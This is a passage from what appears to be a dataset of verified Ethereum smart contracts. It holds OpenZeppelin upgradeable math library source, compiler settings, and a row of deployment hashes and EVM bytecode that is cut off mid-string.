"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary MathUpgradeable {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/math/SignedMathUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMathUpgradeable {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165Upgradeable.sol\";\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC721Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/IERC721Upgradeable.sol\";\n"
}
},
"settings": {
"remappings": [
"ds-test/=lib/forge-std/lib/ds-test/src/",
"forge-std/=lib/forge-std/src/",
"@openzeppelin/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
"@prb/math/=lib/prb-math/src/",
"@moleculeprotocol/token-vesting/=lib/token-vesting-contract/contracts/",
"solmate/=lib/solmate/src/",
"erc721b/=lib/ERC721B/contracts/",
"safe-global/safe-contracts/=lib/safe-contracts/contracts/",
"base64/=lib/solidity-base64/contracts/libraries/",
"ERC721B/=lib/ERC721B/contracts/",
"erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/",
"openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/",
"safe-contracts/=lib/safe-contracts/contracts/",
"solady/=lib/token-vesting-contract/lib/solady/src/",
"solidity-base64/=lib/solidity-base64/contracts/",
"token-vesting-contract/=lib/token-vesting-contract/"
],
"optimizer": {
"enabled": true,
"runs": 200
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "ipfs",
"appendCBOR": true
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "paris",
"viaIR": false,
"libraries": {}
}
}} |
1 | 20,290,765 | dd92a3f42da140a810a466ab25112f4c15b21021278b767ed1412f0a413d81bd | d8ef013ecdc27c3843d682276e90d24dd4ead2c65c33c7e1580d2e1674b303e5 | 34021576f01275a429163a56908bd02b43e2b7e1 | 34021576f01275a429163a56908bd02b43e2b7e1 | 6517dd48908f4c1ff4ed74ffd780908241a3654c | 60c06040523060805234801561001457600080fd5b50600060a052610022610027565b6100e6565b600054610100900460ff16156100935760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116146100e4576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60805160a051611d1061012460003960005050600081816105e10152818161062a015281816107cd0152818161080d01526108a00152611d106000f3fe6080604052600436106100fe5760003560e01c80636d78f47a1161009557806384646c1f1161006457806384646c1f146102a15780638da5cb5b146102c1578063a400356e146102df578063a6bf32d1146102ff578063f2fde38b1461031f57600080fd5b80636d78f47a14610216578063715018a6146102365780637375eca61461024b5780637da044bb1461026b57600080fd5b80634c25c5de116100d15780634c25c5de146101a25780634f1ef286146101c057806352d1902d146101d35780635dd8f6aa146101f657600080fd5b80630aaff7b11461010357806328f6d0fd146101405780633659cfe614610160578063485cc95514610182575b600080fd5b34801561010f57600080fd5b5061012361011e3660046116c1565b61033f565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561014c57600080fd5b5060cb54610123906001600160a01b031681565b34801561016c57600080fd5b5061018061017b3660046117a4565b6105d7565b005b34801561018e57600080fd5b5061018061019d3660046117c1565b6106bf565b3480156101ae57600080fd5b5060c9546001600160a01b0316610123565b6101806101ce3660046117fa565b6107c3565b3480156101df57600080fd5b506101e8610893565b604051908152602001610137565b34801561020257600080fd5b5061012361021136600461185e565b610946565b34801561022257600080fd5b50610180610231366004611877565b6109ba565b34801561024257600080fd5b50610180610b06565b34801561025757600080fd5b5060cc54610123906001600160a01b031681565b34801561027757600080fd5b5061012361028636600461185e565b60ca602052600090815260409020546001600160a01b031681565b3480156102ad57600080fd5b506101806102bc3660046117a4565b610b1a565b3480156102cd57600080fd5b506097546001600160a01b0316610123565b3480156102eb57600080fd5b506101806102fa3660046117a4565b610c8f565b34801561030b57600080fd5b5061018061031a3660046117a4565b610d1a565b34801561032b57600080fd5b5061018061033a3660046117a4565b610e55565b600061034a87610946565b6001600160a01b0316336001600160a01b03161461037a5760405162e46f6160e11b815260040160405180910390fd5b600087815260ca60205260409020546001600160a01b0316156103b0576040516309f016b960e01b815260040160405180910390fd5b60cc546103c5906001600160a01b0316610ecb565b905060006103d288610f65565b6040516020016103e291906118dd565b6040516020818303038152906040529050816001600160a01b031663524440db89838961040c3390565b8a6040518663ffffffff1660e01b815260040161042d959493929190611945565b600060405180830381600087803b15801561044757600080fd5b505af115801561045b573d6000803e3d6000fd5b505050600089815260ca602090815260409182902080546001600160a01b0319166001600160a01b03871690811790915582519182018c905292508a910160408051601f1981840301815291905280516020909101207ff42ab10557aa913bf6ceed4b21c47ba794adfa959af22694e1c64689a96b733d338b8a878d6040516104e895949392919061199f565b60405180910390a460cb546001600160a01b0316632fc848ed833387876040518563ffffffff1660e01b815260040161052494939291906119ec565b600060405180830381600087803b15801561053e57600080fd5b505af1158015610552573d6000803e3d6000fd5b50505050816001600160a01b031663867904b461056c3390565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018a9052604401600060405180830381600087803b1580156105b457600080fd5b505af11580156105c8573d6000803e3d6000fd5b50505050509695505050505050565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630036106285760405162461bcd60e51b815260040161061f90611a38565b60405180910390fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316610671600080516020611c94833981519152546001600160a01b031690565b6001600160a01b0316146106975760405162461bcd60e51b815260040161061f90611a84565b6106a081610ff8565b604080516000808252602082019092526106bc91839190611000565b50565b600054610100900460ff16158080156106df5750600054600160ff909116105b806106f95750303b1580156106f9575060005460ff166001145b6107155760405162461bcd60e51b815260040161061f90611ad0565b6000805460ff191660011790558015610738576000805461ff0019166101001790555b61074061116b565b610748611192565b60c980546001600160a01b038086166001600160a01b03199283161790925560cb80549285169290911691909117905580156107be576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016300361080b5760405162461bcd60e51b815260040161061f90611a38565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316610854600080516020611c94833981519152546001600160a01b031690565b6001600160a01b03161461087a5760405162461bcd60e51b815260040161061f90611a84565b61088382610ff8565b61088f82826001611000565b5050565b6000306001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109335760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c0000000000000000606482015260840161061f565b50600080516020611c9483398151915290565b60c9546040516331a9108f60e11b8152600481018390526000916001600160a01b031690636352211e90602401602060405180830381865afa158015610990573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b49190611b1e565b92915050565b826000816001600160a01b031663392f37e96040518163ffffffff1660e01b8152600401600060405180830381865afa1580156109fb573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a239190810190611b3b565b8051600090815260ca60205260409020549091506001600160a01b03838116911614610a6257604051632359169360e21b815260040160405180910390fd5b8051610a6d90610946565b6001600160a01b0316336001600160a01b031614610a9d5760405162e46f6160e11b815260040160405180910390fd5b60405163219e412d60e21b81526001600160a01b0384811660048301526024820186905286169063867904b490604401600060405180830381600087803b158015610ae757600080fd5b505af1158015610afb573d6000803e3d6000fd5b505050505050505050565b610b0e6111c1565b610b18600061121b565b565b610b226111c1565b600054600590610100900460ff16158015610b44575060005460ff8083169116105b610b605760405162461bcd60e51b815260040161061f90611ad0565b6000805461ffff191660ff83161761010017815560ca6020527fe0b86fdc737c0cfd301a36ced403fb76310e3742e00d1a38c7c46a1f09f3411b80546001600160a01b0319908116736034e0d6999741f07cb6fb1162cbaa46a1d33d36179091557f4022427efed5e65af835f3f1a300a2926d324fcfcf8ee08c8f20c84046805e9380548216737b66e84be78772a3afaf5ba8c1993a1b5d05f9c217905560259091527f4444ca249cc3f699f19bbbbb335d97daedc4e7de7a590c20fb2f450ab44ca9a8805490911673bce56276591128047313e64744b3ebe03998783f179055610c4a82610c8f565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b610c976111c1565b6001600160a01b038116610cbe5760405163d92e233d60e01b815260040160405180910390fd5b60cc546040516001600160a01b038084169216907f25b9017bb97a5c097a5037a94b1c7902f8bdbab1a8388f7d5cf35e03008dbadf90600090a360cc80546001600160a01b0319166001600160a01b0392909216919091179055565b806000816001600160a01b031663392f37e96040518163ffffffff1660e01b8152600401600060405180830381865afa158015610d5b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d839190810190611b3b565b8051600090815260ca60205260409020549091506001600160a01b03838116911614610dc257604051632359169360e21b815260040160405180910390fd5b8051610dcd90610946565b6001600160a01b0316336001600160a01b031614610dfd5760405162e46f6160e11b815260040160405180910390fd5b826001600160a01b031663355274ea6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610e3857600080fd5b505af1158015610e4c573d6000803e3d6000fd5b50505050505050565b610e5d6111c1565b6001600160a01b038116610ec25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061f565b6106bc8161121b565b6000763d602d80600a3d3981f3363d3d373d3d3d363d730000008260601b60e81c176000526e5af43d82803e903d91602b57fd5bf38260781b17602052603760096000f090506001600160a01b038116610f605760405162461bcd60e51b8152602060048201526016602482015275115490cc4c4d8dce8818dc99585d194819985a5b195960521b604482015260640161061f565b919050565b60606000610f728361126d565b600101905060008167ffffffffffffffff811115610f9257610f926115cb565b6040519080825280601f01601f191660200182016040528015610fbc576020820181803683370190505b5090508181016020015b600019016f181899199a1a9b1b9c1cb0b131b232b360811b600a86061a8153600a8504945084610fc657509392505050565b6106bc6111c1565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615611033576107be83611345565b826001600160a01b03166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa92505050801561108d575060408051601f3d908101601f1916820190925261108a91810190611c00565b60015b6110f05760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201526d6f6e206973206e6f74205555505360901b606482015260840161061f565b600080516020611c94833981519152811461115f5760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f786044820152681a58589b195555525160ba1b606482015260840161061f565b506107be8383836113e1565b600054610100900460ff16610b185760405162461bcd60e51b815260040161061f90611c19565b600054610100900460ff166111b95760405162461bcd60e51b815260040161061f90611c19565b610b1861140c565b6097546001600160a01b03163314610b185760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161061f565b609780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60008072184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b83106112ac5772184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b830492506040015b6d04ee2d6d415b85acef810000000083106112d8576d04ee2d6d415b85acef8100000000830492506020015b662386f26fc1000083106112f657662386f26fc10000830492506010015b6305f5e100831061130e576305f5e100830492506008015b612710831061132257612710830492506004015b60648310611334576064830492506002015b600a83106109b45760010192915050565b6001600160a01b0381163b6113b25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b606482015260840161061f565b600080516020611c9483398151915280546001600160a01b0319166001600160a01b0392909216919091179055565b6113ea8361143c565b6000825111806113f75750805b156107be57611406838361147c565b50505050565b600054610100900460ff166114335760405162461bcd60e51b815260040161061f90611c19565b610b183361121b565b61144581611345565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606114a18383604051806060016040528060278152602001611cb4602791396114a8565b9392505050565b6060600080856001600160a01b0316856040516114c59190611c64565b600060405180830381855af49150503d8060008114611500576040519150601f19603f3d011682016040523d82523d6000602084013e611505565b606091505b509150915061151686838387611520565b9695505050505050565b6060831561158f578251600003611588576001600160a01b0385163b6115885760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161061f565b5081611599565b61159983836115a1565b949350505050565b8151156115b15781518083602001fd5b8060405162461bcd60e51b815260040161061f9190611c80565b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611604576116046115cb565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611633576116336115cb565b604052919050565b600067ffffffffffffffff821115611655576116556115cb565b50601f01601f191660200190565b60006116766116718461163b565b61160a565b905082815283838301111561168a57600080fd5b828260208301376000602084830101529392505050565b600082601f8301126116b257600080fd5b6114a183833560208501611663565b60008060008060008060a087890312156116da57600080fd5b8635955060208701359450604087013567ffffffffffffffff8082111561170057600080fd5b61170c8a838b016116a1565b9550606089013591508082111561172257600080fd5b61172e8a838b016116a1565b9450608089013591508082111561174457600080fd5b818901915089601f83011261175857600080fd5b81358181111561176757600080fd5b8a602082850101111561177957600080fd5b6020830194508093505050509295509295509295565b6001600160a01b03811681146106bc57600080fd5b6000602082840312156117b657600080fd5b81356114a18161178f565b600080604083850312156117d457600080fd5b82356117df8161178f565b915060208301356117ef8161178f565b809150509250929050565b6000806040838503121561180d57600080fd5b82356118188161178f565b9150602083013567ffffffffffffffff81111561183457600080fd5b8301601f8101851361184557600080fd5b61185485823560208401611663565b9150509250929050565b60006020828403121561187057600080fd5b5035919050565b60008060006060848603121561188c57600080fd5b83356118978161178f565b92506020840135915060408401356118ae8161178f565b809150509250925092565b60005b838110156118d45781810151838201526020016118bc565b50506000910152565b73495020546f6b656e73206f662049504e4654202360601b81526000825161190c8160148501602087016118b9565b9190910160140192915050565b600081518084526119318160208601602086016118b9565b601f01601f19169290920160200192915050565b85815260a06020820152600061195e60a0830187611919565b82810360408401526119708187611919565b6001600160a01b0386166060850152838103608085015290506119938185611919565b98975050505050505050565b60018060a01b038616815284602082015260a0604082015260006119c660a0830186611919565b82810360608401526119d88186611919565b905082810360808401526119938185611919565b6001600160a01b0385811682528416602082015260606040820181905281018290526000828460808401376000608084840101526080601f19601f850116830101905095945050505050565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b6163746976652070726f787960a01b606082015260800190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b600060208284031215611b3057600080fd5b81516114a18161178f565b60006020808385031215611b4e57600080fd5b825167ffffffffffffffff80821115611b6657600080fd5b9084019060608287031215611b7a57600080fd5b611b826115e1565b8251815283830151611b938161178f565b81850152604083015182811115611ba957600080fd5b80840193505086601f840112611bbe57600080fd5b82519150611bce6116718361163b565b8281528785848601011115611be257600080fd5b611bf1838683018787016118b9565b60408201529695505050505050565b600060208284031215611c1257600080fd5b5051919050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60008251611c768184602087016118b9565b9190910192915050565b6020815260006114a1602083018461191956fe360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122003791228e8d801ef08dbdfd3ba9cd1fdac3977c27d4b44ca60140f4c5527fe3a64736f6c63430008120033 | 6080604052600436106100fe5760003560e01c80636d78f47a1161009557806384646c1f1161006457806384646c1f146102a15780638da5cb5b146102c1578063a400356e146102df578063a6bf32d1146102ff578063f2fde38b1461031f57600080fd5b80636d78f47a14610216578063715018a6146102365780637375eca61461024b5780637da044bb1461026b57600080fd5b80634c25c5de116100d15780634c25c5de146101a25780634f1ef286146101c057806352d1902d146101d35780635dd8f6aa146101f657600080fd5b80630aaff7b11461010357806328f6d0fd146101405780633659cfe614610160578063485cc95514610182575b600080fd5b34801561010f57600080fd5b5061012361011e3660046116c1565b61033f565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561014c57600080fd5b5060cb54610123906001600160a01b031681565b34801561016c57600080fd5b5061018061017b3660046117a4565b6105d7565b005b34801561018e57600080fd5b5061018061019d3660046117c1565b6106bf565b3480156101ae57600080fd5b5060c9546001600160a01b0316610123565b6101806101ce3660046117fa565b6107c3565b3480156101df57600080fd5b506101e8610893565b604051908152602001610137565b34801561020257600080fd5b5061012361021136600461185e565b610946565b34801561022257600080fd5b50610180610231366004611877565b6109ba565b34801561024257600080fd5b50610180610b06565b34801561025757600080fd5b5060cc54610123906001600160a01b031681565b34801561027757600080fd5b5061012361028636600461185e565b60ca602052600090815260409020546001600160a01b031681565b3480156102ad57600080fd5b506101806102bc3660046117a4565b610b1a565b3480156102cd57600080fd5b506097546001600160a01b0316610123565b3480156102eb57600080fd5b506101806102fa3660046117a4565b610c8f565b34801561030b57600080fd5b5061018061031a3660046117a4565b610d1a565b34801561032b57600080fd5b5061018061033a3660046117a4565b610e55565b600061034a87610946565b6001600160a01b0316336001600160a01b03161461037a5760405162e46f6160e11b815260040160405180910390fd5b600087815260ca60205260409020546001600160a01b0316156103b0576040516309f016b960e01b815260040160405180910390fd5b60cc546103c5906001600160a01b0316610ecb565b905060006103d288610f65565b6040516020016103e291906118dd565b6040516020818303038152906040529050816001600160a01b031663524440db89838961040c3390565b8a6040518663ffffffff1660e01b815260040161042d959493929190611945565b600060405180830381600087803b15801561044757600080fd5b505af115801561045b573d6000803e3d6000fd5b505050600089815260ca602090815260409182902080546001600160a01b0319166001600160a01b03871690811790915582519182018c905292508a910160408051601f1981840301815291905280516020909101207ff42ab10557aa913bf6ceed4b21c47ba794adfa959af22694e1c64689a96b733d338b8a878d6040516104e895949392919061199f565b60405180910390a460cb546001600160a01b0316632fc848ed833387876040518563ffffffff1660e01b815260040161052494939291906119ec565b600060405180830381600087803b15801561053e57600080fd5b505af1158015610552573d6000803e3d6000fd5b50505050816001600160a01b031663867904b461056c3390565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018a9052604401600060405180830381600087803b1580156105b457600080fd5b505af11580156105c8573d6000803e3d6000fd5b50505050509695505050505050565b6001600160a01b037f0000000000000000000000006517dd48908f4c1ff4ed74ffd780908241a3654c1630036106285760405162461bcd60e51b815260040161061f90611a38565b60405180910390fd5b7f0000000000000000000000006517